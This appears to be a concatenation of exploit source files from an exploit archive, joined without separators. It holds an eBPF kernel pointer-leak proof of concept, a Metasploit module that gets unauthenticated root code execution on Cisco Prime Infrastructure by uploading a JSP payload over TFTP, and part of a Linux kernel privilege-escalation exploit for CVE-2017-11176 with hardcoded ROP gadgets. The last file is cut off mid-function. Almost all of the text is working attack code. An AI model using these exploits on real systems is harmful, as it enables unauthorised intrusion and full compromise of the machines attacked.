#define BPF_REG_FP      BPF_REG_10

#define BPF_FUNC_trace_printk 6

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_DW | BPF_IMM,         \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = (__u32) (IMM) }),                  \
  ((struct bpf_insn) {                          \
    .code  = 0, /* zero is reserved opcode */   \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_MOV64_REG(DST, SRC)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_EMIT_CALL(FUNC)                     \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_CALL,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = (FUNC) })
#define BPF_JMP_IMM(OP, DST, IMM, OFF)          \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_EXIT_INSN()                         \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_EXIT,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_ALU64_REG(OP, DST, SRC)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_MOV64_IMM(DST, IMM)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })

int bpf_(int cmd, union bpf_attr *attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int array_create(int value_size, int num_entries) {
  union bpf_attr create_map_attrs = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = 4,
      .value_size = value_size,
      .max_entries = num_entries
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");
  return mapfd;
}

uint64_t array_get_dw(int mapfd, uint32_t key) {
  uint64_t value = 0;
  union bpf_attr attr = {
    .map_fd = mapfd,
    .key    = (uint64_t)&key,
    .value  = (uint64_t)&value,
    .flags  = BPF_ANY,
  };
  int res = bpf_(BPF_MAP_LOOKUP_ELEM, &attr);
  if (res)
    err(1, "map lookup elem");
  return value;
}

int prog_load(struct bpf_insn *insns, size_t insns_count) {
  char verifier_log[100000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = insns_count,
    .insns = (uint64_t)insns,
    .license = (uint64_t)GPLv2,
    .log_level = 1,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
  int errno_ = errno;
  printf("==========================\n%s==========================\n", verifier_log);
  errno = errno_;
  if (progfd == -1)
    err(1, "prog load");
  return progfd;
}

int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) {
  int progfd = prog_load(insns, insns_count);

  // hook eBPF program up to a socket
  // sendmsg() to the socket will trigger the filter
  // returning 0 in the filter should toss the packet
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    err(1, "socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    err(1, "setsockopt");
  return socks[1];
}

void trigger_proc(int sockfd) {
  if (write(sockfd, "X", 1) != 1)
    err(1, "write to proc socket failed");
}

int main(void) {
  int small_map = array_create(8, 1);
  struct bpf_insn insns[] = {
    // load NULL pointer, tracked as "NULL or value pointer", into r0
    BPF_LD_MAP_FD(BPF_REG_ARG1, small_map),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
    BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 9), //oob index
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),

    // compute r9 = laundered_frame_pointer
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_FP),
    BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_0),

    // store r9 into map
    BPF_LD_MAP_FD(BPF_REG_ARG1, small_map),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
    BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),
    BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_9, 0),

    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
  };
  int sock_fd = create_filtered_socket_fd(insns, ARRSIZE(insns));
  trigger_proc(sock_fd);
  printf("leaked pointer: 0x%lx\n", array_get_dw(small_map, 0));
}
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution',
      'Description'    => %q{
        Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow
        an unauthenticated attacker to achieve remote code execution. The first flaw is a file
        upload vulnerability that allows the attacker to upload and execute files as the Apache
        Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions
        in a SUID binary.

        This module exploits these vulnerabilities to achieve unauthenticated remote code execution
        as root on the CPI default installation.

        This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions
        might also be affected, although 3.4.0.0.348 is the latest at the time of writing.
      },
      'Author'         =>
        [
          'Pedro Ribeiro'        # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', 'TODO' ],
          [ 'CVE', 'TODO' ],
          [ 'URL', 'TODO' ],
          [ 'URL', 'TODO' ]
        ],
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          [ 'Cisco Prime Infrastructure', {} ]
        ],
      'Privileged'     => true,
      'DefaultOptions' => { 'WfsDelay' => 10 },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'TODO'
    ))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 443]),
        OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]),
        OptBool.new('SSL', [true, 'Use SSL connection', true]),
        OptString.new('TARGETURI', [ true,  "swimtemp path", '/swimtemp'])
      ])
  end


  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'swimtemp'),
      'method' => 'GET'
    })
    if res && res.code == 404 && res.body.length == 0
      # at the moment this is the best way to detect
      # a 404 in swimtemp only returns the error code with a body length of 0,
      # while a 404 to another webapp or to the root returns code plus a body with content
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end


  def upload_payload(payload)
    lport = datastore['LPORT'] || (1025 + rand(0xffff-1025))
    lhost = datastore['LHOST'] || "0.0.0.0"
    remote_file = rand_text_alpha(rand(14) + 5) + '.jsp'

    tftp_client = Rex::Proto::TFTP::Client.new(
      "LocalHost"  => lhost,
      "LocalPort"  => lport,
      "PeerHost"   => rhost,
      "PeerPort"   => datastore['RPORT_TFTP'],
      "LocalFile"  => "DATA:#{payload}",
      "RemoteFile" => remote_file,
      "Mode"       => 'octet',
      "Context"    => {'Msf' => self.framework, 'MsfExploit' => self},
      "Action"     => :upload
    )
    print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'"
    tftp_client.send_write_request

    remote_file
  end

  def generate_jsp_payload
    exe = generate_payload_exe
    base64_exe = Rex::Text.encode_base64(exe)

    native_payload_name = rand_text_alpha(rand(6)+3)

    var_raw     = rand_text_alpha(rand(8) + 3)
    var_ostream = rand_text_alpha(rand(8) + 3)
    var_pstream = rand_text_alpha(rand(8) + 3)
    var_buf     = rand_text_alpha(rand(8) + 3)
    var_decoder = rand_text_alpha(rand(8) + 3)
    var_tmp     = rand_text_alpha(rand(8) + 3)
    var_path    = rand_text_alpha(rand(8) + 3)
    var_tmp2     = rand_text_alpha(rand(8) + 3)
    var_path2    = rand_text_alpha(rand(8) + 3)
    var_proc2   = rand_text_alpha(rand(8) + 3)

    var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
    chmod = %Q|
    Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});
    Thread.sleep(200);
    |

    var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
    cleanup = %Q|
    Thread.sleep(200);
    Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});
    |

    jsp = %Q|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    try {
      String #{var_buf} = "#{base64_exe}";
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

      File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin");
      String #{var_path} = #{var_tmp}.getAbsolutePath();

      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();

      File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh");
      String #{var_path2} = #{var_tmp2}.getAbsolutePath();

      PrintWriter #{var_pstream} =
        new PrintWriter(new FileOutputStream(#{var_path2}));
      #{var_pstream}.println("!#/bin/sh");
      #{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'");
      #{var_pstream}.close();
      #{chmod}

      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2});
      #{cleanup}
    } catch (Exception e) {
    }
    %>
    |

    jsp = jsp.gsub(/\n/, '')
    jsp = jsp.gsub(/\t/, '')
    jsp = jsp.gsub(/\x0d\x0a/, "")
    jsp = jsp.gsub(/\x0a/, "")

    return jsp
  end


  def exploit
    jsp_payload = generate_jsp_payload

    jsp_name = upload_payload(jsp_payload)

    # we land in /opt/CSCOlumos, so we don't know the apache directory
    # as it changes between versions... so leave this commented for now
    # ... and try to find a good way to clean it later
    # register_files_for_cleanup(jsp_name)

    print_status("#{peer} - Executing payload...")
    send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], jsp_name),
      'method' => 'GET'
    })

    handler
  end
end
            
/*
 * CVE-2017-11176: "mq_notify: double sock_put()" by LEXFO (2018).
 *
 * DISCLAIMER: The following code is for EDUCATIONAL purpose only. Do not
 * use it on a system without authorizations.
 *
 * WARNING: The exploit WILL NOT work on your target, it requires modifications!
 *
 * Compile with:
 *
 *  gcc -fpic -O0 -std=c99 -Wall -pthread cve-2017-11176.c -o exploit
 *
 * For a complete explanation / analysis, please read the following series:
 *
 * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
 * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html
 * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html
 * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html
 */

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#include <sched.h>
#include <stddef.h>
#include <sys/mman.h>
#include <stdint.h>

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]

#define NB_REALLOC_THREADS 200
#define KMALLOC_TARGET 1024

#define MAX_SOCK_PID_SPRAY 300

#define MAGIC_NL_PID 0x11a5dcee
#define MAGIC_NL_GROUPS 0x0

// ----------------------------------------------------------------------------

// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _mmap(addr, length, prot, flags, fd, offset) syscall(__NR_mmap, addr, length, prot, flags, fd, offset)
#define _munmap(addr, length) syscall(_NR_munmap, addr, length)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)
#define _getpid() syscall(__NR_getpid)
#define _gettid() syscall(__NR_gettid)
#define _sched_setaffinity(pid, cpusetsize, mask) \
  syscall(__NR_sched_setaffinity, pid, cpusetsize, mask)
#define _open(pathname, flags) syscall(__NR_open, pathname, flags)
#define _read(fd, buf, count) syscall(__NR_read, fd, buf, count)
#define _getsockname(sockfd, addr, addrlen) syscall(__NR_getsockname, sockfd, addr, addrlen)
#define _connect(sockfd, addr, addrlen) syscall(__NR_connect, sockfd, addr, addrlen)
#define _sched_yield() syscall(__NR_sched_yield)
#define _lseek(fd, offset, whence) syscall(__NR_lseek, fd, offset, whence)

// ----------------------------------------------------------------------------

#define PRESS_KEY() \
  do { printf("[ ] press key to continue...\n"); getchar(); } while(0)

#define BUILD_BUG_ON(cond) ((void)sizeof(char[1 - 2 * !!(cond)]))

// ----------------------------------------------------------------------------

// target specific offset
#define NLK_PID_OFFSET                  0x288
#define NLK_GROUPS_OFFSET               0x2a0
#define NLK_WAIT_OFFSET                 0x2b0
#define WQ_HEAD_TASK_LIST_OFFSET        0x8
#define WQ_ELMT_FUNC_OFFSET             0x10
#define WQ_ELMT_TASK_LIST_OFFSET        0x18
#define TASK_STRUCT_FILES_OFFSET        0x770
#define FILES_STRUCT_FDT_OFFSET         0x8
#define FDT_FD_OFFSET                   0x8
#define FILE_STRUCT_PRIVATE_DATA_OFFSET 0xa8
#define SOCKET_SK_OFFSET                0x38

// kernel function symbols
#define NL_PID_HASHFN         ((void*) 0xffffffff814b6da0)
#define NETLINK_TABLE_GRAB    ((void*) 0xffffffff814b7ea0)
#define NETLINK_TABLE_UNGRAB  ((void*) 0xffffffff814b73e0)
#define COMMIT_CREDS          ((void*) 0xffffffff810b8ee0)
#define PREPARE_KERNEL_CRED   ((void*) 0xffffffff810b90c0)
#define NL_TABLE_ADDR         ((void*) 0xffffffff824528c0)

// gadgets in [_text; _etext]
#define XCHG_EAX_ESP_ADDR         ((uint64_t) 0xffffffff8107b6b8)
#define MOV_PTR_RDI_MIN4_EAX_ADDR ((uint64_t) 0xffffffff811513b3)
#define POP_RDI_ADDR              ((uint64_t) 0xffffffff8103b81d)
#define MOV_RAX_RBP_ADDR          ((uint64_t) 0xffffffff813606d4)
#define SHR_RAX_16_ADDR           ((uint64_t) 0xffffffff810621ff)
#define POP_RBP_ADDR              ((uint64_t) 0xffffffff811b97bf)
#define MOV_RAX_CR4_LEAVE_ADDR    ((uint64_t) 0xffffffff81003009)
#define MOV_CR4_RDI_LEAVE_ADDR    ((uint64_t) 0xffffffff8100328d)
#define AND_RAX_RDX_ADDR          ((uint64_t) 0xffffffff8130c249)
#define MOV_EDI_EAX_ADDR          ((uint64_t) 0xffffffff814f118b)
#define MOV_EDX_EDI_ADDR          ((uint64_t) 0xffffffff8139ca54)
#define POP_RCX_ADDR              ((uint64_t) 0xffffffff81004abc)
#define JMP_RCX_ADDR              ((uint64_t) 0xffffffff8103357c)

#define THREAD_SIZE (4096 << 2)

// ----------------------------------------------------------------------------

struct realloc_thread_arg
{
  pthread_t tid;
  int recv_fd;
  int send_fd;
  struct sockaddr_un addr;
};

struct unblock_thread_arg
{
  int sock_fd;
  int unblock_fd;
  bool is_ready; // we can use pthread barrier instead
};

struct sock_pid
{
  int sock_fd;
  uint32_t pid;
};

// ----------------------------------------------------------------------------

struct hlist_node {
  struct hlist_node *next, **pprev;
};

struct hlist_head {
  struct hlist_node *first;
};

struct nl_pid_hash {
  struct hlist_head* table;
  uint64_t rehash_time;
  uint32_t mask;
  uint32_t shift;
  uint32_t entries;
  uint32_t max_shift;
  uint32_t rnd;
};

struct netlink_table {
  struct nl_pid_hash hash;
  void* mc_list;
  void* listeners;
  uint32_t nl_nonroot;
  uint32_t groups;
  void* cb_mutex;
  void* module;
  uint32_t registered;
};

struct list_head
{
  struct list_head *next, *prev;
};

struct wait_queue_head
{
  int slock;
  struct list_head task_list;
};

typedef int (*wait_queue_func_t)(void *wait, unsigned mode, int flags, void *key);

struct wait_queue
{
  unsigned int flags;
#define WQ_FLAG_EXCLUSIVE 0x01
  void *private;
  wait_queue_func_t func;
  struct list_head task_list;
};

struct socket {
  char pad[SOCKET_SK_OFFSET];
  void *sk;
};

struct file {
  char pad[FILE_STRUCT_PRIVATE_DATA_OFFSET];
  void *private_data;
};

struct fdtable {
  char pad[FDT_FD_OFFSET];
  struct file **fd;
};

struct files_struct {
  char pad[FILES_STRUCT_FDT_OFFSET];
  struct fdtable *fdt;
};

struct task_struct {
  char pad[TASK_STRUCT_FILES_OFFSET];
  struct files_struct *files;
};

struct thread_info {
	struct task_struct	*task;
  char pad[0];
};

// ----------------------------------------------------------------------------

typedef void (*netlink_table_grab_func)(void);
typedef void (*netlink_table_ungrab_func)(void);
typedef struct hlist_head* (*nl_pid_hashfn_func)(struct nl_pid_hash *hash, uint32_t pid);
typedef int (*commit_creds_func)(void *new);
typedef void* (*prepare_kernel_cred_func)(void *daemon);

#define netlink_table_grab() \
  (((netlink_table_grab_func)(NETLINK_TABLE_GRAB))())
#define netlink_table_ungrab() \
  (((netlink_table_ungrab_func)(NETLINK_TABLE_UNGRAB))())
#define nl_pid_hashfn(hash, pid) \
 (((nl_pid_hashfn_func)(NL_PID_HASHFN))(hash, pid))
#define commit_creds(cred) \
  (((commit_creds_func)(COMMIT_CREDS))(cred))
#define prepare_kernel_cred(daemon) \
  (((prepare_kernel_cred_func)(PREPARE_KERNEL_CRED))(daemon))

// ----------------------------------------------------------------------------

static volatile size_t g_nb_realloc_thread_ready = 0;
static volatile size_t g_realloc_now = 0;
static volatile char g_realloc_data[KMALLOC_TARGET];

static volatile struct list_head  g_fake_next_elt;
static volatile struct wait_queue *g_uland_wq_elt;
static volatile char *g_fake_stack;

static volatile uint64_t saved_esp;
static volatile uint64_t saved_rbp_lo;
static volatile uint64_t saved_rbp_hi;
static volatile uint64_t restored_rbp;
static volatile uint64_t restored_rsp;

static struct sock_pid g_target;
static struct sock_pid g_guard;
static int unblock_fd = 1;

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

#define get_thread_info(thread_stack_ptr) \
  ((struct thread_info*) (thread_stack_ptr & ~(THREAD_SIZE - 1)))

#define get_current(thread_stack_ptr) \
  ((struct task_struct*) (get_thread_info(thread_stack_ptr)->task))

static void payload(void)
{
  struct task_struct *current = get_current(restored_rsp);
  struct socket *sock = current->files->fdt->fd[unblock_fd]->private_data;
  void *sk;

  sk = sock->sk; // keep it for list walking
  sock->sk = NULL; // fix the 'sk' dangling pointer

  // lock all hash tables
  netlink_table_grab();

  // retrieve NETLINK_USERSOCK's hash table
  struct netlink_table *nl_table = * (struct netlink_table**)NL_TABLE_ADDR; // deref it!
  struct nl_pid_hash *hash = &(nl_table[NETLINK_USERSOCK].hash);

  // retrieve the bucket list
  struct hlist_head *bucket = nl_pid_hashfn(hash, g_target.pid);

  // walk the bucket list
  struct hlist_node *cur;
  struct hlist_node **pprev = &bucket->first;
  for (cur = bucket->first; cur; pprev = &cur->next, cur = cur->next)
  {
    // is this our target ?
    if (cur == (struct hlist_node*)sk)
    {
      // fix the 'next' and 'pprev' field
      if (cur->next == (struct hlist_node*)KMALLOC_TARGET) // 'cmsg_len' value (reallocation)
        cur->next = NULL; // first scenario: was the last element in the list
      cur->pprev = pprev;

      // __hlist_del() operation (dangling pointers fix up)
      *(cur->pprev) = cur->next;
      if (cur->next)
        cur->next->pprev = pprev;

      hash->entries--; // make it clean

      // stop walking
      break;
    }
  }

  // release the lock
  netlink_table_ungrab();

  // privilege (de-)escalation
  commit_creds(prepare_kernel_cred(NULL));
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

/*
 * Migrates the current thread to CPU#0.
 *
 * Returns 0 on success, -1 on error.
 */

static int migrate_to_cpu0(void)
{
  cpu_set_t set;

  CPU_ZERO(&set);
  CPU_SET(0, &set);

  if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1)
  {
    perror("[-] sched_setaffinity");
    return -1;
  }

  return 0;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

/*
 * Creates a NETLINK_USERSOCK netlink socket, binds it and retrieves its pid.
 * Argument @sp must not be NULL.
 *
 * Returns 0 on success, -1 on error.
 */

static int create_netlink_candidate(struct sock_pid *sp)
{
  struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK,
    .nl_pad = 0,
    .nl_pid = 0, // zero to use netlink_autobind()
    .nl_groups = 0 // no groups

  };
  size_t addr_len = sizeof(addr);

  if ((sp->sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) == -1)
  {
    perror("[-] socket");
    goto fail;
  }

  if (_bind(sp->sock_fd, (struct sockaddr*)&addr, sizeof(addr)) == -1)
  {
    perror("[-] bind");
    goto fail_close;
  }

  if (_getsockname(sp->sock_fd, &addr, &addr_len))
  {
    perror("[-] getsockname");
    goto fail_close;
  }
  
  sp->pid = addr.nl_pid;

  return 0;

fail_close:
  close(sp->sock_fd);
fail:
  sp->sock_fd = -1;
  sp->pid = -1;
  return -1;
}

// ----------------------------------------------------------------------------

/*
 * Parses @proto hash table from '/proc/net/netlink' and allocates/fills the
 * @pids array. The total numbers of pids matched is stored in @nb_pids.
 *
 * A typical output looks like:
 *
 *    $ cat /proc/net/netlink
 *    sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks     Drops
 *    ffff88001eb47800 0   0      00000000 0        0        (null) 2        0       
 *    ffff88001fa65800 6   0      00000000 0        0        (null) 2        0     
 *
 * Every line is printed from netlink_seq_show():
 *
 *    seq_printf(seq, "%p %-3d %-6d %08x %-8d %-8d %p %-8d %-8d\n"
 *
 * Returns 0 on success, -1 on error.
 */

static int parse_proc_net_netlink(int **pids, size_t *nb_pids, uint32_t proto)
{
  int proc_fd;
  char buf[4096];
  int ret;
  char *ptr;
  char *eol_token;
  size_t nb_bytes_read = 0;
  size_t tot_pids = 1024;

  *pids = NULL;
  *nb_pids = 0;

  if ((*pids = calloc(tot_pids, sizeof(**pids))) == NULL)
  {
    perror("[-] not enough memory");
    goto fail;
  }
  
  memset(buf, 0, sizeof(buf));
  if ((proc_fd = _open("/proc/net/netlink", O_RDONLY)) < 0)
  {
    perror("[-] open");
    goto fail;
  }

read_next_block:
  if ((ret = _read(proc_fd, buf, sizeof(buf))) < 0)
  {
    perror("[-] read");
    goto fail_close;
  }
  else if (ret == 0) // no more line to read
  {
    goto parsing_complete;
  }

  ptr = buf;

  if (strstr(ptr, "sk") != NULL) // this is the first line
  { 
    if ((eol_token = strstr(ptr, "\n")) == NULL)
    {
      // XXX: we don't handle this case, we can't even read one line...
      printf("[-] can't find end of first line\n");
      goto fail_close;
    }
    nb_bytes_read += eol_token - ptr + 1;
    ptr = eol_token + 1; // skip the first line
  }

parse_next_line:
  // this is a "normal" line
  if ((eol_token = strstr(ptr, "\n")) == NULL) // current line is incomplete
  {
    if (_lseek(proc_fd, nb_bytes_read, SEEK_SET) == -1)
    {
      perror("[-] lseek");
      goto fail_close;
    }
    goto read_next_block;
  }
  else
  {
    void *cur_addr;
    int cur_proto;
    int cur_pid;

    sscanf(ptr, "%p %d %d", &cur_addr, &cur_proto, &cur_pid);

    if (cur_proto == proto)
    {
      if (*nb_pids >= tot_pids) // current array is not big enough, make it grow
      {
        tot_pids *= 2;
        if ((*pids = realloc(*pids, tot_pids * sizeof(int))) == NULL)
        {
          printf("[-] not enough memory\n");
          goto fail_close;
        }
      }

      *(*pids + *nb_pids) = cur_pid;
      *nb_pids = *nb_pids + 1;
    }

    nb_bytes_read += eol_token - ptr + 1;
    ptr = eol_token + 1;
    goto parse_next_line;
  }

parsing_complete:
  close(proc_fd);
  return 0;

fail_close:
  close(proc_fd);
fail:
  if (*pids != NULL)
    free(*pids);
  *nb_pids = 0;
  return -1;
}

// ----------------------------------------------------------------------------

/*
 * Prepare multiple netlink sockets and search "adjacent" ones. Arguments
 * @target and @guard must not be NULL.
 *
 * Returns 0 on success, -1 on error.
 */

static int find_netlink_candidates(struct sock_pid *target, struct sock_pid *guard)
{
  struct sock_pid candidates[MAX_SOCK_PID_SPRAY];
  int *pids = NULL;
  size_t nb_pids;
  int i, j;
  int nb_owned;
  int ret = -1;

  target->sock_fd = -1;
  guard->sock_fd = -1;

  // allocate a bunch of netlink sockets
  for (i = 0; i < MAX_SOCK_PID_SPRAY; ++i)
  {
    if (create_netlink_candidate(&candidates[i]))
    { 
      printf("[-] failed to create a new candidate\n");
      goto release_candidates;
    }
  }
  printf("[+] %d candidates created\n", MAX_SOCK_PID_SPRAY);

  if (parse_proc_net_netlink(&pids, &nb_pids, NETLINK_USERSOCK))
  {
    printf("[-] failed to parse '/proc/net/netlink'\n");
    goto release_pids;
  }
  printf("[+] parsing '/proc/net/netlink' complete\n");

  // find two consecutives pid that we own (slow algorithm O(N*M))
  i = nb_pids;
  while (--i > 0)
  {
    guard->pid = pids[i];
    target->pid = pids[i - 1];
    nb_owned = 0;

    // the list is not ordered by pid, so we do a full walking
    for (j = 0; j < MAX_SOCK_PID_SPRAY; ++j) 
    {
      if (candidates[j].pid == guard->pid)
      {
        guard->sock_fd = candidates[j].sock_fd;
        nb_owned++;
      }
      else if (candidates[j].pid == target->pid)
      {
        target->sock_fd = candidates[j].sock_fd;
        nb_owned++;
      }

      if (nb_owned == 2)
        goto found;
    }

    // reset sock_fd to release them
    guard->sock_fd = -1;
    target->sock_fd = -1;
  }

  // we didn't found any valid candidates, release and quit
  goto release_pids;

found:
  printf("[+] adjacent candidates found!\n");
  ret = 0; // we succeed

release_pids:
  i = MAX_SOCK_PID_SPRAY; // reset the candidate counter for release
  if (pids != NULL)
    free(pids);

release_candidates:
  while (--i >= 0)
  {
    // do not release the target/guard sockets
    if ((candidates[i].sock_fd != target->sock_fd) &&
        (candidates[i].sock_fd != guard->sock_fd))
    {
      close(candidates[i].sock_fd);
    }
  }

  return ret;
} 

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

static void* unblock_thread(void *arg)
{
  struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
  int val = 3535; // need to be different than zero

  // notify the main thread that the unblock thread has been created. It *must*
  // directly call mq_notify().
  uta->is_ready = true; 

  sleep(5); // gives some time for the main thread to block

  printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
  _close(uta->sock_fd);

  printf("[ ][unblock] unblocking now\n");
  if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
    perror("[+] setsockopt");
  return NULL;
}

// ----------------------------------------------------------------------------

static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
  pthread_t tid;
  struct sigevent sigev;
  struct unblock_thread_arg uta;
  char sival_buffer[NOTIFY_COOKIE_LEN];

  // initialize the unblock thread arguments
  uta.sock_fd = sock_fd;
  uta.unblock_fd = unblock_fd;
  uta.is_ready = false;

  // initialize the sigevent structure
  memset(&sigev, 0, sizeof(sigev));
  sigev.sigev_notify = SIGEV_THREAD;
